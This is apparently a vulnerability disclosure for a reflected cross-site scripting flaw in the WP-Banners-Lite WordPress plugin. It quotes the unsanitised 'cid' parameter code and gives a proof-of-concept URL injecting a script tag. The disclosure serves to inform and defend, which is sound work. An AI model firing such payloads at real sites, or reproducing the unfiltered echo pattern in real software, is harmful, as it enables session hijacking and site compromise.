Subject: XSS vulnerability on WP-Banners-Lite (wordpress
	plugin)

II. Details
------------
Cross-Site Scripting flaw discovered on WP-Banners-Lite.

The problem is wpbanners_show.php, at lines 8 and 9, the developer
doesn't filter correctly the variable called "cid" obtained from URL
(Method GET). He obtains "cid"  from URL, do a str_replace to remove '
and then he print it.

[+] File: wpbanners_show.php
[-] Line 8:   $cid = $_GET["cid"];
[-] Line 9:  $cid = str_replace("'", "", $cid);
[-] Line 51:  echo 'jQuery(\'#'.$cid.'\').replaceWith(\''.$banner.'\')';

Then, we can inject our own html or javascript code.

III. Exploit
-------------
The vulnerability can be exploited by injecting html or javascript
code as following:

http://localhost/wordpress/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_<script>alert(/XSS
